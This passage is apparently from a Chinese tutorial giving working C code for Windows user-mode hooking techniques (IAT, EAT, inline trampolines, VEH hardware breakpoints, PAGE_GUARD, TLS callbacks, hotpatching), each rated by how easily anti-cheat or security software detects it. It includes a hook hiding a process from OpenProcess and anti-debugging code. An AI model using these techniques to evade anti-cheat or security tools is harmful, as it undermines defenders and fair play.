用户态 Hook 是最基础的拦截手段,所有代码运行在应用层,任何反作弊/安全软件只要扫描进程内存就能发现。隐蔽性虽低,但开发成本也最低。
1.1 IAT Hook(导入地址表 Hook)
原理
PE 文件加载时,Loader 会填充 IAT(Import Address Table),记录每个导入函数的实际地址。IAT Hook 直接修改这张表里的函数指针,让程序调用时跳到你的函数。
完整实现
#include <windows.h>
#include <winternl.h>
typedef HANDLE(WINAPI* fnOpenProcess)(DWORD, BOOL, DWORD);
fnOpenProcess OriginalOpenProcess = NULL;
// Hook 函数
HANDLE WINAPI HookedOpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) {
// 过滤掉对保护进程的访问
if (dwProcessId == GetProtectedPid()) {
SetLastError(ERROR_ACCESS_DENIED);
return NULL;
}
return OriginalOpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);
}
// IAT Hook 核心逻辑
BOOL IatHook(HMODULE hModule, const char* dllName, const char* funcName, PVOID hookFunc, PVOID* originalFunc) {
// 获取 DOS Header
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModule;
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;
// 获取 NT Header
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDos->e_lfanew);
if (pNt->Signature != IMAGE_NT_SIGNATURE) return FALSE;
// 获取导入表 RVA
DWORD importRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (importRva == 0) return FALSE;
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)hModule + importRva);
// 遍历每个导入的 DLL
while (pImport->Name) {
char* modName = (char*)((BYTE*)hModule + pImport->Name);
if (_stricmp(modName, dllName) == 0) {
// 找到目标 DLL,遍历其 IAT
PIMAGE_THUNK_DATA pOrigThunk = (PIMAGE_THUNK_DATA)((BYTE*)hModule + pImport->OriginalFirstThunk);
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((BYTE*)hModule + pImport->FirstThunk);
while (pOrigThunk->u1.AddressOfData) {
// 通过名字匹配
if (!(pOrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)) {
PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)((BYTE*)hModule + pOrigThunk->u1.AddressOfData);
if (strcmp(pName->Name, funcName) == 0) {
// 找到目标函数,保存原始地址
*originalFunc = (PVOID)pThunk->u1.Function;
// 修改内存保护
DWORD oldProtect;
VirtualProtect(&pThunk->u1.Function, sizeof(ULONG_PTR), PAGE_READWRITE, &oldProtect);
pThunk->u1.Function = (ULONG_PTR)hookFunc;
VirtualProtect(&pThunk->u1.Function, sizeof(ULONG_PTR), oldProtect, &oldProtect);
return TRUE;
}
}
pOrigThunk++;
pThunk++;
}
}
pImport++;
}
return FALSE;
}
// 使用
void InstallIatHook() {
IatHook(GetModuleHandle(NULL), "kernel32.dll", "OpenProcess",
HookedOpenProcess, (PVOID*)&OriginalOpenProcess);
}
检测难度:★☆☆☆☆
遍历 IAT,对比每个条目是否指向对应 DLL 的地址范围内即可发现。CRC 校验 IAT 区域也能立即暴露。
局限
- 只能 Hook 通过 IAT 调用的函数,GetProcAddress 动态获取的地址不经过 IAT
- 每个模块有独立的 IAT,需要逐一修改
- 任何内存扫描工具一眼就能看到
1.2 EAT Hook(导出地址表 Hook)
原理
修改 DLL 的 EAT(Export Address Table),让后续模块通过 GetProcAddress 获取到的地址是 Hook 函数。
完整实现
BOOL EatHook(HMODULE hDll, const char* funcName, PVOID hookFunc, PVOID* originalFunc) {
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hDll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hDll + pDos->e_lfanew);
DWORD exportRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportRva == 0) return FALSE;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hDll + exportRva);
DWORD* pFunctions = (DWORD*)((BYTE*)hDll + pExport->AddressOfFunctions);
DWORD* pNames = (DWORD*)((BYTE*)hDll + pExport->AddressOfNames);
WORD* pOrdinals = (WORD*)((BYTE*)hDll + pExport->AddressOfNameOrdinals);
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
char* name = (char*)((BYTE*)hDll + pNames[i]);
if (strcmp(name, funcName) == 0) {
// 保存原始函数地址
*originalFunc = (PVOID)((BYTE*)hDll + pFunctions[pOrdinals[i]]);
// 计算 Hook 函数相对于 DLL 基址的 RVA
DWORD hookRva = (DWORD)((BYTE*)hookFunc - (BYTE*)hDll);
DWORD oldProtect;
VirtualProtect(&pFunctions[pOrdinals[i]], sizeof(DWORD), PAGE_READWRITE, &oldProtect);
pFunctions[pOrdinals[i]] = hookRva;
VirtualProtect(&pFunctions[pOrdinals[i]], sizeof(DWORD), oldProtect, &oldProtect);
return TRUE;
}
}
return FALSE;
}
// 注意:EAT Hook 的 hookFunc 地址必须在目标 DLL 的地址空间内
// 否则 RVA 会溢出。解决方案:在目标 DLL 附近分配内存作为跳板
PVOID AllocateNearby(HMODULE hDll, SIZE_T size) {
MEMORY_BASIC_INFORMATION mbi;
BYTE* addr = (BYTE*)hDll;
// 在 DLL 前后 2GB 范围内找可用空间(RVA 是 32 位有符号偏移)
for (BYTE* p = addr - 0x70000000; p < addr + 0x70000000; p += mbi.RegionSize) {
if (VirtualQuery(p, &mbi, sizeof(mbi)) == 0) continue;
if (mbi.State == MEM_FREE && mbi.RegionSize >= size) {
PVOID alloc = VirtualAlloc(p, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc) return alloc;
}
}
return NULL;
}
检测难度:★☆☆☆☆
和 IAT Hook 一样,对比 EAT 条目与磁盘原始文件即可发现。
局限
- 只对后续调用
GetProcAddress 的模块有效
- 已经缓存了函数地址的模块不受影响
- 同样是从内存修改,扫描即暴露
1.3 Inline Hook(内联 Hook / Detour)
原理
直接修改目标函数的头部字节,写入一条 jmp 指令跳转到你的 Hook 函数。执行完自定义逻辑后,跳回被覆盖的原始指令继续执行(Trampoline)。
完整实现(含指令重定位引擎)
#include <windows.h>
#include <stdint.h>
// x64 指令长度解析器(简化版,覆盖常见指令)
// 完整版应使用 Zydis/distorm 等反汇编库
typedef struct _INSTRUCTION {
uint8_t length;
BOOL isRipRelative; // 是否包含 RIP 相对寻址
int32_t ripOffset; // RIP 偏移在指令中的位置
int32_t ripDisplacement; // 原始 displacement 值
} INSTRUCTION;
// 解析单条指令长度(简化版核心逻辑)
INSTRUCTION ParseInstruction(const uint8_t* code) {
INSTRUCTION inst = {0};
const uint8_t* p = code;
// 跳过前缀 (REX, LOCK, REP, segment override 等)
while (*p == 0xF0 || *p == 0xF2 || *p == 0xF3 ||
*p == 0x26 || *p == 0x2E || *p == 0x36 || *p == 0x3E ||
*p == 0x64 || *p == 0x65 || *p == 0x66 || *p == 0x67 ||
(*p >= 0x40 && *p <= 0x4F)) { // REX prefix
p++;
}
uint8_t opcode = *p++;
// 处理双字节操作码 (0F xx)
if (opcode == 0x0F) {
uint8_t op2 = *p++;
// ModRM
if (op2 >= 0x80 && op2 <= 0x8F) {
// Jcc rel32 (条件跳转)
inst.length = (int)(p - code) + 4;
inst.isRipRelative = TRUE;
inst.ripOffset = (int)(p - code);
inst.ripDisplacement = *(int32_t*)p;
return inst;
}
// 其他 0F xx 指令处理...
if ((op2 & 0xC0) != 0xC0) { // 有 ModRM
uint8_t modrm = *p++;
uint8_t mod = (modrm >> 6) & 3;
uint8_t rm = modrm & 7;
if (mod == 0 && rm == 5) { // RIP-relative
inst.isRipRelative = TRUE;
inst.ripOffset = (int)(p - code);
inst.ripDisplacement = *(int32_t*)p;
p += 4;
} else if (mod == 0 && rm == 4) { p++; } // SIB
else if (mod == 1) { if (rm == 4) p++; p++; }
else if (mod == 2) { if (rm == 4) p++; p += 4; }
}
inst.length = (int)(p - code);
return inst;
}
// 单字节操作码处理
switch (opcode) {
case 0xE8: // CALL rel32
case 0xE9: // JMP rel32
inst.length = (int)(p - code) + 4;
inst.isRipRelative = TRUE;
inst.ripOffset = (int)(p - code);
inst.ripDisplacement = *(int32_t*)p;
return inst;
case 0xEB: // JMP rel8
inst.length = (int)(p - code) + 1;
inst.isRipRelative = TRUE;
inst.ripOffset = (int)(p - code);
inst.ripDisplacement = (int8_t)*p;
return inst;
// ... 其他操作码
}
// 通用 ModRM 解析
// (这里省略完整的操作码表映射,实际项目应使用 Zydis)
inst.length = (int)(p - code);
if (inst.length == 0) inst.length = 1; // 兜底
return inst;
}
// Trampoline 构建器:将被覆盖的原始指令复制到 trampoline,并修正 RIP 相对引用
#define HOOK_STUB_SIZE 14 // x64 绝对跳转: FF 25 00 00 00 00 [8字节地址]
#define TRAMPOLINE_MAX 64
typedef struct _HOOK_CONTEXT {
void* pTarget; // 原始函数地址
void* pDetour; // Hook 函数地址
uint8_t trampoline[TRAMPOLINE_MAX]; // Trampoline 缓冲区
uint8_t originalBytes[HOOK_STUB_SIZE]; // 备份的原始字节
uint32_t stolenLength; // 实际偷取的字节数
void* pTrampoline; // Trampoline 可执行内存
} HOOK_CONTEXT;
BOOL BuildTrampoline(HOOK_CONTEXT* ctx) {
uint8_t* src = (uint8_t*)ctx->pTarget;
uint8_t* dst = ctx->trampoline;
uint32_t totalCopied = 0;
// 需要至少偷取 HOOK_STUB_SIZE 字节的完整指令
while (totalCopied < HOOK_STUB_SIZE) {
INSTRUCTION inst = ParseInstruction(src + totalCopied);
if (inst.isRipRelative) {
// RIP 相对指令需要重定位
// 计算原始目标地址
uint8_t* originalRip = src + totalCopied + inst.length; // 执行完该指令后的 RIP
void* absoluteTarget = originalRip + inst.ripDisplacement;
// 计算新的 displacement(从 trampoline 中的新位置到同一个绝对目标)
uint8_t* newRip = dst + inst.length;
int64_t newDisp = (int64_t)((uint8_t*)absoluteTarget - newRip);
if (newDisp > INT32_MAX || newDisp < INT32_MIN) {
// 距离超过 ±2GB,需要用绝对跳转间接寻址
// 这种情况在 trampoline 分配在远处时会发生
// 解决:在 trampoline 末尾放跳转表
memcpy(dst, src + totalCopied, inst.length);
// 将 displacement 改为指向 trampoline 内的跳转表
// (此处简化处理,实际需要跳转表机制)
return FALSE; // 需要更复杂的处理
}
// 复制指令,修改 displacement
memcpy(dst, src + totalCopied, inst.length);
*(int32_t*)(dst + inst.ripOffset) = (int32_t)newDisp;
} else {
// 非 RIP 相对指令,直接复制
memcpy(dst, src + totalCopied, inst.length);
}
dst += inst.length;
totalCopied += inst.length;
}
ctx->stolenLength = totalCopied;
// 在 trampoline 末尾追加绝对跳转回原始函数(跳过被偷取的部分)
// FF 25 00 00 00 00 [目标地址 8字节]
*dst++ = 0xFF;
*dst++ = 0x25;
*(uint32_t*)dst = 0; dst += 4;
*(uint64_t*)dst = (uint64_t)(src + totalCopied); dst += 8;
// 分配可执行内存给 trampoline
size_t trampolineSize = (size_t)(dst - ctx->trampoline);
ctx->pTrampoline = VirtualAlloc(NULL, trampolineSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!ctx->pTrampoline) return FALSE;
memcpy(ctx->pTrampoline, ctx->trampoline, trampolineSize);
return TRUE;
}
// 安装 Hook
BOOL InstallInlineHook(HOOK_CONTEXT* ctx) {
// 备份原始字节
memcpy(ctx->originalBytes, ctx->pTarget, HOOK_STUB_SIZE);
// 构建 Trampoline
if (!BuildTrampoline(ctx)) return FALSE;
// 写入跳转到 Detour
DWORD oldProtect;
VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect);
uint8_t* p = (uint8_t*)ctx->pTarget;
p[0] = 0xFF;
p[1] = 0x25;
*(uint32_t*)(p + 2) = 0;
*(uint64_t*)(p + 6) = (uint64_t)ctx->pDetour;
VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, oldProtect, &oldProtect);
FlushInstructionCache(GetCurrentProcess(), ctx->pTarget, HOOK_STUB_SIZE);
return TRUE;
}
// 卸载 Hook
BOOL RemoveInlineHook(HOOK_CONTEXT* ctx) {
DWORD oldProtect;
VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(ctx->pTarget, ctx->originalBytes, HOOK_STUB_SIZE);
VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, oldProtect, &oldProtect);
FlushInstructionCache(GetCurrentProcess(), ctx->pTarget, HOOK_STUB_SIZE);
if (ctx->pTrampoline) {
VirtualFree(ctx->pTrampoline, 0, MEM_RELEASE);
ctx->pTrampoline = NULL;
}
return TRUE;
}
// 线程安全 Hook 安装(暂停其他线程避免竞态)
BOOL SafeInstallHook(HOOK_CONTEXT* ctx) {
// 挂起所有其他线程
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { .dwSize = sizeof(te) };
DWORD currentThread = GetCurrentThreadId();
DWORD currentProcess = GetCurrentProcessId();
HANDLE suspendedThreads[256];
int suspendCount = 0;
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == currentProcess && te.th32ThreadID != currentThread) {
HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
if (hThread) {
SuspendThread(hThread);
suspendedThreads[suspendCount++] = hThread;
}
}
} while (Thread32Next(hSnap, &te) && suspendCount < 256);
}
CloseHandle(hSnap);
// 安装 Hook
BOOL result = InstallInlineHook(ctx);
// 恢复所有线程
for (int i = 0; i < suspendCount; i++) {
ResumeThread(suspendedThreads[i]);
CloseHandle(suspendedThreads[i]);
}
return result;
}
检测难度:★★☆☆☆
读取函数头几字节,对比磁盘上的原始 DLL 即可发现。大部分反作弊都会做完整性校验。
优点
- 通用性最强,可以 Hook 任何函数
- 不管调用方式(IAT/EAT/动态获取)都能拦截
- Microsoft Detours 库提供了工业级实现
局限
- 函数头部被直接修改,任何完整性校验都能发现
- 需要处理多线程竞态(Hook 安装瞬间其他线程正在执行目标函数)
- x64 绝对跳转指令长达 14 字节,可能覆盖多条原始指令
- 指令重定位是最复杂的部分,生产环境建议使用 Zydis/distorm
1.4 VEH Hook(向量化异常处理 Hook)
原理
利用 Windows 向量化异常处理机制(VEH),通过设置硬件断点或内存保护异常,在目标函数执行时触发异常,在异常处理器中劫持执行流。
完整实现(含多线程 DR 设置)
#include <windows.h>
#include <tlhelp32.h>
typedef struct _VEH_HOOK_ENTRY {
PVOID targetAddress; // 要 Hook 的地址
PVOID hookFunction; // Hook 函数
PVOID originalFunction; // 原始函数(通过 trampoline 调用)
int drIndex; // 使用的 DR 寄存器索引 (0-3)
} VEH_HOOK_ENTRY;
#define MAX_VEH_HOOKS 4
VEH_HOOK_ENTRY g_vehHooks[MAX_VEH_HOOKS] = {0};
int g_vehHookCount = 0;
PVOID g_vehHandle = NULL;
// VEH 异常处理器
LONG CALLBACK VehExceptionHandler(PEXCEPTION_POINTERS pExInfo) {
if (pExInfo->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_SEARCH;
// 检查是哪个 Hook 触发的
for (int i = 0; i < g_vehHookCount; i++) {
if ((PVOID)pExInfo->ContextRecord->Rip == g_vehHooks[i].targetAddress) {
// 劫持 RIP 到 Hook 函数
pExInfo->ContextRecord->Rip = (DWORD64)g_vehHooks[i].hookFunction;
// 清除该 DR 的触发标志(DR6)
pExInfo->ContextRecord->Dr6 = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
// 对单个线程设置 Debug Register
BOOL SetThreadHwbp(HANDLE hThread, int drIndex, PVOID address) {
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(hThread, &ctx)) return FALSE;
// 设置 DRn 地址
switch (drIndex) {
case 0: ctx.Dr0 = (DWORD64)address; break;
case 1: ctx.Dr1 = (DWORD64)address; break;
case 2: ctx.Dr2 = (DWORD64)address; break;
case 3: ctx.Dr3 = (DWORD64)address; break;
}
// 配置 DR7:启用对应断点,条件=执行,长度=1字节
// DR7 格式:
// Bit 0,2,4,6: Local Enable for DR0-3
// Bit 16-17: Condition for DR0 (00=执行)
// Bit 18-19: Length for DR0 (00=1字节)
// 每个 DR 占 4 位 condition+length,从 bit 16 开始
ctx.Dr7 &= ~(3ULL << (drIndex * 2)); // 清除 enable 位
ctx.Dr7 |= (1ULL << (drIndex * 2)); // 设置 local enable
ctx.Dr7 &= ~(0xFULL << (16 + drIndex * 4)); // 清除 condition+length
// condition=00 (执行), length=00 (1字节) → 无需额外设置
return SetThreadContext(hThread, &ctx);
}
// 清除单个线程的 Debug Register
BOOL ClearThreadHwbp(HANDLE hThread, int drIndex) {
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(hThread, &ctx)) return FALSE;
switch (drIndex) {
case 0: ctx.Dr0 = 0; break;
case 1: ctx.Dr1 = 0; break;
case 2: ctx.Dr2 = 0; break;
case 3: ctx.Dr3 = 0; break;
}
ctx.Dr7 &= ~(1ULL << (drIndex * 2)); // 禁用
return SetThreadContext(hThread, &ctx);
}
// 对进程所有线程设置硬件断点
BOOL SetAllThreadsHwbp(int drIndex, PVOID address) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE) return FALSE;
THREADENTRY32 te = { .dwSize = sizeof(te) };
DWORD pid = GetCurrentProcessId();
DWORD tid = GetCurrentThreadId();
BOOL success = TRUE;
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
HANDLE hThread;
if (te.th32ThreadID == tid) {
// 当前线程需要特殊处理
hThread = GetCurrentThread();
} else {
hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME,
FALSE, te.th32ThreadID);
if (!hThread) continue;
SuspendThread(hThread);
}
if (!SetThreadHwbp(hThread, drIndex, address))
success = FALSE;
if (te.th32ThreadID != tid) {
ResumeThread(hThread);
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
return success;
}
// 安装 VEH Hook
BOOL InstallVehHook(PVOID targetAddr, PVOID hookFunc) {
if (g_vehHookCount >= MAX_VEH_HOOKS) return FALSE;
// 注册 VEH 处理器(只需一次)
if (!g_vehHandle) {
g_vehHandle = AddVectoredExceptionHandler(1, VehExceptionHandler);
if (!g_vehHandle) return FALSE;
}
int drIndex = g_vehHookCount;
g_vehHooks[drIndex].targetAddress = targetAddr;
g_vehHooks[drIndex].hookFunction = hookFunc;
g_vehHooks[drIndex].drIndex = drIndex;
g_vehHookCount++;
// 对所有线程设置硬件断点
return SetAllThreadsHwbp(drIndex, targetAddr);
}
// 卸载 VEH Hook
BOOL RemoveVehHook(int drIndex) {
if (drIndex >= g_vehHookCount) return FALSE;
// 清除所有线程的硬件断点
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { .dwSize = sizeof(te) };
DWORD pid = GetCurrentProcessId();
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME,
FALSE, te.th32ThreadID);
if (hThread) {
SuspendThread(hThread);
ClearThreadHwbp(hThread, drIndex);
ResumeThread(hThread);
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
return TRUE;
}
// 处理新线程:新线程创建后也需要设置 DR
// 方案:Hook NtCreateThread/NtResumeThread 或使用 TLS Callback
检测难度:★★★☆☆
- 不修改目标函数的任何字节,完整性校验通过
- 但 Debug Registers 可以被读取(GetThreadContext)
- VEH 处理器可被枚举(NtQueryInformationProcess 或直接遍历 LdrpVectorHandlerList)
优点
- 零字节修改,目标函数完全干净
- 硬件断点由 CPU 触发,不需要修改任何内存
局限
- 硬件断点只有 4 个(DR0-DR3),最多同时 Hook 4 个地址
- 性能开销:每次触发需要进异常处理流程
- 反作弊可以清空 Debug Registers 或设置 ThreadHideFromDebugger
- 新创建的线程不会自动继承 DR 设置
1.5 PAGE_GUARD Hook(页面守卫 Hook)
原理
利用 PAGE_GUARD 内存保护属性。对目标函数所在页设置 PAGE_GUARD,首次访问时触发 STATUS_GUARD_PAGE_VIOLATION 异常,在 VEH 处理器中进行拦截。
完整实现
#include <windows.h>
typedef struct _GUARD_HOOK {
PVOID targetFunction;
PVOID hookFunction;
PVOID pageBase; // 目标函数所在页的基地址
BOOL active;
} GUARD_HOOK;
GUARD_HOOK g_guardHook = {0};
LONG CALLBACK GuardPageHandler(PEXCEPTION_POINTERS pExInfo) {
DWORD exCode = pExInfo->ExceptionRecord->ExceptionCode;
if (exCode == STATUS_GUARD_PAGE_VIOLATION) {
PVOID faultAddr = pExInfo->ExceptionRecord->ExceptionAddress;
// 检查是否是我们监控的函数
if (faultAddr == g_guardHook.targetFunction) {
// 劫持执行流
pExInfo->ContextRecord->Rip = (DWORD64)g_guardHook.hookFunction;
}
// 设置单步标志 TF,让 CPU 执行完一条指令后触发 EXCEPTION_SINGLE_STEP
// 目的:在单步执行后重新设置 PAGE_GUARD(因为触发一次后 PAGE_GUARD 自动移除)
pExInfo->ContextRecord->EFlags |= 0x100;
return EXCEPTION_CONTINUE_EXECUTION;
}
if (exCode == EXCEPTION_SINGLE_STEP && g_guardHook.active) {
// 单步执行完毕,重新设置 PAGE_GUARD
DWORD oldProtect;
VirtualProtect(g_guardHook.pageBase, PAGE_SIZE,
PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
BOOL InstallGuardHook(PVOID target, PVOID hook) {
g_guardHook.targetFunction = target;
g_guardHook.hookFunction = hook;
g_guardHook.pageBase = (PVOID)((ULONG_PTR)target & ~0xFFF); // 页对齐
g_guardHook.active = TRUE;
AddVectoredExceptionHandler(1, GuardPageHandler);
DWORD oldProtect;
return VirtualProtect(g_guardHook.pageBase, PAGE_SIZE,
PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
}
检测难度:★★☆☆☆
- 不修改代码,但改变了页面属性
VirtualQuery 可以发现页面有 PAGE_GUARD 标志
- 同页上其他函数的调用也会触发异常,性能极差
致命缺陷
- 整个页面(4KB)内的任何访问都会触发异常
- 如果目标函数所在页被频繁访问,性能几乎不可用
- 实际场景中几乎不使用,仅作为概念验证
1.6 TLS Callback Hook
原理
TLS(Thread Local Storage)Callback 是 PE 文件中注册的回调函数,在进程/线程创建和终止时被调用,且在 DLL_PROCESS_ATTACH 之前执行。利用这个时机可以在程序的 main 函数之前就完成 Hook 安装。
完整实现
#include <windows.h>
// 前置声明
void NTAPI TlsCallbackFunction(PVOID DllHandle, DWORD Reason, PVOID Reserved);
// TLS 目录声明(编译器会把这个放入 PE 的 TLS Directory)
#ifdef _WIN64
#pragma comment(linker, "/INCLUDE:_tls_used")
#pragma const_seg(".CRT$XLB")
EXTERN_C const PIMAGE_TLS_CALLBACK _tls_callback = TlsCallbackFunction;
#pragma const_seg()
#else
#pragma comment(linker, "/INCLUDE:__tls_used")
#pragma data_seg(".CRT$XLB")
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallbackFunction;
#pragma data_seg()
#endif
// 我们的 Hook 逻辑
typedef int(WINAPI* fnMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);
fnMessageBoxW RealMessageBoxW = NULL;
int WINAPI FakeMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) {
// 修改消息内容
return RealMessageBoxW(hWnd, L"HOOKED!", lpCaption, uType);
}
void NTAPI TlsCallbackFunction(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
if (Reason == DLL_PROCESS_ATTACH) {
// 此时程序的 main/WinMain 还没执行
// 各种初始化也还没完成,但 kernel32/ntdll 已经加载
// 安装 IAT Hook(或任何其他 Hook)
HMODULE hUser32 = LoadLibraryW(L"user32.dll");
if (hUser32) {
RealMessageBoxW = (fnMessageBoxW)GetProcAddress(hUser32, "MessageBoxW");
// 这里可以安装 Inline Hook 等...
InstallHookEarly();
}
}
}
// TLS Callback 的高级用法:反调试
void NTAPI AntiDebugTlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
if (Reason == DLL_PROCESS_ATTACH) {
// 在最早期检测调试器
BOOL debuggerPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &debuggerPresent);
if (IsDebuggerPresent() || debuggerPresent) {
// 调试器存在,可以退出或做反制
ExitProcess(0);
}
// 清除 PEB.BeingDebugged(如果被调试但 IsDebuggerPresent 被绕过)
// NtCurrentPeb()->BeingDebugged = 0;
}
if (Reason == DLL_THREAD_ATTACH) {
// 每个新线程创建时都会触发
// 可以在这里给新线程设置硬件断点(VEH Hook 的完美搭配)
SetThreadHwbp(GetCurrentThread(), 0, g_hookTarget);
}
}
检测难度:★★☆☆☆
- PE 文件的 TLS Directory 可以被静态分析
- TLS Callback 数组的地址在 PE Header 中明确标注
- 但执行时机很早,某些检测机制可能还未初始化
用途
- 在程序最早期安装 Hook(先于 CRT 初始化)
- 反调试(在调试器完全 attach 前检测)
- 配合 VEH Hook,在每个新线程上自动设置硬件断点
1.7 Hotpatch Hook(热补丁 Hook)
原理
微软为了支持热补丁,很多系统函数头部保留 mov edi, edi(2字节 NOP)和预留空间,前面还有 5 字节的 nop 填充。利用这些空间写入短跳转 + 近跳转,实现不覆盖任何有效指令的 Hook。
完整实现
#include <windows.h>
typedef struct _HOTPATCH_HOOK {
PVOID pTarget;
PVOID pDetour;
BYTE savedPreamble[7]; // -5 到 +2 的原始字节
BOOL installed;
} HOTPATCH_HOOK;
// 检查函数是否支持 Hotpatch
BOOL IsHotpatchable(PVOID pFunction) {
BYTE* p = (BYTE*)pFunction;
// 检查函数头:mov edi, edi (8B FF) 或 mov ecx, ecx (8B C9)
if (p[0] != 0x8B || (p[1] != 0xFF && p[1] != 0xC9))
return FALSE;
// 检查前面 5 字节是否为 NOP 或 INT 3
for (int i = 1; i <= 5; i++) {
if (p[-i] != 0x90 && p[-i] != 0xCC)
return FALSE;
}
return TRUE;
}
BOOL InstallHotpatchHook(HOTPATCH_HOOK* hook) {
BYTE* pFunc = (BYTE*)hook->pTarget;
if (!IsHotpatchable(hook->pTarget))
return FALSE;
// 备份原始字节
memcpy(hook->savedPreamble, pFunc - 5, 7);
DWORD oldProtect;
VirtualProtect(pFunc - 5, 7, PAGE_EXECUTE_READWRITE, &oldProtect);
// 在 -5 位置写入 5 字节近跳转到 Hook 函数
// E9 [rel32] → jmp hook_function
pFunc[-5] = 0xE9;
*(int32_t*)(pFunc - 4) = (int32_t)((BYTE*)hook->pDetour - pFunc);
// 在 +0 位置把 mov edi,edi 改为短跳转到 -5
// EB F9 → jmp short -5 (相对于 +2 跳到 -5,偏移 = -7 = 0xF9)
*(WORD*)pFunc = 0xF9EB;
VirtualProtect(pFunc - 5, 7, oldProtect, &oldProtect);
FlushInstructionCache(GetCurrentProcess(), pFunc - 5, 7);
hook->installed = TRUE;
return TRUE;
}
BOOL RemoveHotpatchHook(HOTPATCH_HOOK* hook) {
if (!hook->installed) return FALSE;
BYTE* pFunc = (BYTE*)hook->pTarget;
DWORD oldProtect;
VirtualProtect(pFunc - 5, 7, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pFunc - 5, hook->savedPreamble, 7);
VirtualProtect(pFunc - 5, 7, oldProtect, &oldProtect);
FlushInstructionCache(GetCurrentProcess(), pFunc - 5, 7);
hook->installed = FALSE;
return TRUE;
}
// 使用示例
HOTPATCH_HOOK hpHook = {0};
hpHook.pTarget = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateFileW");
hpHook.pDetour = MyHookedCreateFileW;
InstallHotpatchHook(&hpHook);
检测难度:★★☆☆☆
虽然利用了合法的热补丁机制,但 mov edi, edi 被改写一样可以被检测到。
注意
- Windows x64 系统函数不再使用
mov edi, edi 前导
- 主要适用于 32 位代码或旧版系统
- 现代 Windows 的 Hotpatch 机制已经完全不同(使用
/hotpatch 编译选项生成 2字节 NOP)
1.8 Instrumentation Callback Hook(用户态全局 syscall 回调)
原理
Windows 提供了 NtSetInformationProcess + ProcessInstrumentationCallback 机制。设置后每次从内核返回用户态时,都会跳转到指定的回调函数,相当于 Hook 了所有系统调用的返回路径。
完整实现(可编译 x64 ASM)
#include <windows.h>
#include <winternl.h>
// 未导出的结构体
typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION {
ULONG Version; // 0 for x64, 1 for x86
ULONG Reserved;
PVOID Callback;
} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION;
// NtSetInformationProcess 原型
typedef NTSTATUS(NTAPI* fnNtSetInformationProcess)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength
);
#define ProcessInstrumentationCallback 40
// 全局变量
volatile LONG g_insideCallback = 0; // 防止递归
PVOID g_callbackTarget = NULL; // 我们要监控的函数
// Instrumentation Callback 入口点(必须是裸函数,手动管理栈)
// 进入时的寄存器状态:
// R10 = 原始返回地址(syscall 返回后本来要去的地方)
